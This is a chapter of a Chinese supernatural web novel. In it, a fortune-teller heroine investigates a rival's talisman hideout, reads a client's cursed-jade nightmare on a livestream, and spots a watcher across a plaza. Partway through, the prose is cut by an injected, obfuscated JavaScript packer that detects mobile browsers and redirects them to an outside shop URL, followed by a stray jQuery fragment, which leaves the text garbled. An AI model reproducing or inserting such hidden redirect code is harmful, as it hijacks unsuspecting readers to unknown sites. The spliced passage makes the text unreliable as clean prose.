每一张符纸上的纹路都不同。
手电筒的光扫过去,那些纹路在墙上投下斑驳的阴影,像是活物在蠕动。
司理走近细看,发现这些符纸的纹路和她在天水宗藏经阁里看到的不太一样。
像是有人把几种不同流派的符文揉碎了,又重新拼在一起。
有些笔画明显是错的,有些组合在正统术法里是禁忌。
但从墨迹的深浅和笔画的流畅度来看,画符的人在进步。
越靠近门口的符,笔画越生涩。越靠近床的符,越流畅。
“这是什么?”薄今郁的声音有些发紧。
他站在门口,没有往里走,目光在那些符纸上扫来扫去。
“有人在这里练习画符。”司理说的声音很轻,但是神情严肃的说道:“这里的每一张符都不一样,说明画符的人还在摸索阶段。”
“他在试不同组合,找最有效的。”司理说。
“不是真高手?”薄今郁好奇地问。
“不是,但很执着。”
从符纸数量看,这人至少在这待了几个月。
司理走到桌边,桌上满是符纸碎屑。
她拿起桌上那本已经掉皮的笔记本,里面是密密麻麻的实验日志。
上面详细记录着每次画符的时间、材料和效果。
字里行间满是焦躁,笔画越来越重,后期记录也愈发密集。
翻到最后一页,日期是半个月前。
“第一次成功,但代价太大了。需要重新评估。”
司理将笔记本收进包。
薄今郁在床边喊道:“你过来看这个。”
那是一张手绘地图,标注着城南健身房和这个老小区等五个地点。
地点旁边还写着日期和注释:健身房标记阵法已布,老小区是临时据点,其余三个或备用或废弃。
司理也将地图收好。
她蹲下身,想看看这床底有没有什么。
手电筒在床下一扫,发现一个铁盒子,像是那种用来装点心的那种。
薄今郁从床底拉出那个铁盒子,打开发现里面装着一叠偷拍的照片。
有司黎月,司黎星和司柔柔。
但是最后一张居然是司理的。
照片的背景是在摆摊算命的街上,透过奶茶店玻璃偷拍的。
有人,一直在盯着司家所有人,也包括她!
司理从陈远据点回来时,天已经彻底黑了。
她回到房间把门反锁,没有开灯,在黑暗中坐了几分钟。
然后闭上眼,心神沉入识海。
天水宗的洞府里,她把那个铁盒子和笔记本从包里取出来,放进洞府深处的一个石匣里。
这个石匣是她以前存放贵重材料用的,附有禁制,除了她没人打得开。
做完这些,她才重新睁开眼,长长地呼出一口气。
司理靠在床头,把脑子里的信息重新整理了一遍。
笔记本上记录了某个人在这个据点的每一次实验。
从日期来看,他在这里待了至少四个月。
前期大部分记录都是失败——符纸纹路不对,灵力引导失败,怨灵不受控制。
直到半个月前,最后一页写着第一次成功,但代价太大了。
代价是什么?笔记本上没写。
但司理记得老钟说的话:陈远来找他的时候脸色很差,说有人在找他。不是警察,是别的人。
两种可能。
一种是陈远被上家抛弃了,另一种是陈远做了什么上家不允许的事。
不管是哪种,陈远现在都消失了。
而她的照片出现在那个铁盒子里,意味着对方的计划从一开始就包括她。
不是因为她介入了调查,而是在她介入之前,她就已经被标记了。
司理闭上眼睛,把灵力在体内运转了一下。
经脉比一周前宽了一点,但还是太慢。
她需要更多时间。
第二天中午,司理下楼吃饭。
餐厅里只有司柔柔一个人,面前的盘子里摆着半块三明治,旁边放着两台笔记本电脑。
“姐,你昨晚几点回来的?”司柔柔头也没抬的说道。
“快十二点。”
“哥昨天等你等到十一点,后来撑不住去睡了。”司柔柔敲了几下键盘,抬头看她说道:“他说你今天要去摆摊?”
“嗯,换个地方,去城南市民广场。”
司柔柔的手指停在键盘上,看了司理一眼,没问为什么,只说了一句:“那地方人多,注意安全。”
司理点了点头。
下午两点,司理到了城南市民广场。
广场比她想的大,中间有一个喷泉,周围是几栋写字楼和商场。
薄今郁又来了。
这次他没带奶茶,带了一盒切好的水果,说是怕她直播太忙没空吃饭。
司理懒得拆穿他,接过水果盒放在摊位上当摆设。
虽然是工作日,但广场上人不少。
遛弯的老人、带孩子的年轻妈妈、还有几个滑滑板的学生。
她在喷泉旁边找了个位置,支起小桌板,把算命的小旗帜插在旁边。
手机架好,打开直播。
直播一开,在线人数跳得很快。
开播十分钟,人数已经破了三万。
弹幕疯狂滚动:
“来了来了!”
“大师今天换地方了?”
“上次那个失踪女孩找到了吗?”
“求连麦求连麦”
司理调整了一下摄像头角度,确保自己能看清弹幕,但没急着开连麦。
她的目光不动声色地扫过广场四周。
喷泉左边是一排长椅,坐了几个晒太阳的老人。
右边是咖啡店和快餐店,玻璃橱窗反射着阳光。
正对面是一栋灰色的写字楼,楼顶挂着鼎盛咨询四个大字。
“今天第一个。”司理收回视线,点开连麦申请。
画面里出现一个中年男人。
四十出头,穿着深蓝色的polo衫,头发梳得整齐,但眼下一片青黑。
他坐在一间装修很讲究的书房里,身后是一整面墙的书架。
“大师,我姓郑,做外贸的。”他的声音有些紧张的说道:“我最近三个月一直做同一个噩梦。”
“什么梦?”
郑老板咽了一下口水。
“梦见自己站在一片水面上,黑的,看不见底。四周什么都没有,就我一个人。”“然后有东西在水下面拽我的脚。每次都是快被拽下去的时候醒过来。”
他顿了顿,又补充道:“我去医院查过,也找了心理医生,都没用。我老婆说你这里算得准,让我来试试。”
司理让他把手掌对准摄像头。
郑老板照做了,镜头晃了一下,能看清他掌心的纹路。
她又让他报了生辰八字。
沉默了片刻,司理开口说道:“你三个月前是不是去过一趟南方?靠近水的地方。”
郑老板愣了一下,想了想才说:“对!三月中旬,我去广交会,顺便去了一趟周边的古镇。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571167|204768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“那边有个什么水乡,导游说是几百年历史的老镇子。”
“你在那个古镇买了一样东西,带回来了。”
闻言,郑老板的表情变了。
他的嘴唇动了动,像是想说什么,但没说出来。
弹幕已经开始刷屏:
“什么东西什么东西?”
“该不会又是玉佩吧?”
“楼上你是懂的”
“剧本味儿来了”
“那东西不干净。”司理说。
直播间瞬间安静了一瞬,然后弹幕炸了。
郑老板的脸色彻底变了。
他沉默了好一会儿,艰难地开口说道:“我,我在古镇的一个地摊上买了一块玉佩。老板说是老物件,我就当纪念品买了。”
“那玉佩巴掌大小,上面雕的花纹挺好看。”
“回来之后就挂在车里,没当回事。”
司理点了点头。
“那块玉佩不是普通的古玩。上面附着东西。你在车上挂了三个月,那个东西已经熟悉了你的气息。你做的梦,是它在试探你。”
郑老板的声音开始发抖说道:“试探我什么?”
“看你有没有察觉到。如果没有,它会一步步加深影响。先是在梦里,然后会出现在你的日常生活里。”
“什么意思?”郑老板问。
“你会开始在家里听到不该有的声音,在镜子里看到不该看到的东西。”
弹幕彻底疯了。
有人说这是在吓人,有人问怎么处理,还有人在刷大师救我。
郑老板的额头上开始冒冷汗。
他从镜头外抽了一张纸巾擦了一下,紧张的说道:“那,那怎么办?大师,你帮帮我。”
“把那块玉佩处理掉。”司理说:“不是扔掉,是处理掉。找个寺庙或者道观,请人做个净化。你要是找不到地方,我可以帮你。”
“多少钱都行!”郑老板连忙说。
司理报了个价,让他线下联系,然后挂断了连麦。
直播间的弹幕还在刷。
有人问那玉佩到底是什么,有人开始@当地文旅局的账号,还有人说要去找那个古镇地摊算账。
司理看着弹幕,没有解释。
“有些东西,不是你的就不要拿。”她说完这句话,点开了下一个连麦申请。
就在这时,她的余光扫到广场对面。
咖啡店的玻璃窗后面站着一个人。
黑色连帽衫,帽子压得很低,只露出下巴。
那个位置在咖啡店靠里的角落,不仔细看根本注意不到。
但那个人站得很直,一动不动,面朝的方向正好是喷泉这边。
司理没有转头,也没有改变表情。
她继续和第二个连麦的人说话。
一个问事业的年轻女孩,声音甜甜的,说毕业两年换了三份工作,想知道什么时候能稳定下来。
“你的问题不在工作,在你不敢选。”“你每次换工作都是因为觉得不合适,但你从来没想过什么是合适的。”司理说。
女孩愣了一下,然后开始说自己的情况。
司理一边听,一边在桌子下面摸到手机,盲打了一条消息发出去。
收件人:薄今郁。
内容:“广场对面咖啡店,黑衣服,帮我盯一下。”
她没看薄今郁回了什么。
手机屏幕朝下扣在桌上,继续和女孩说话。
“你适合做和人打交道的工作。销售、市场、公关,都可以。但你得熬过前半年,不能一遇到困难就跑。”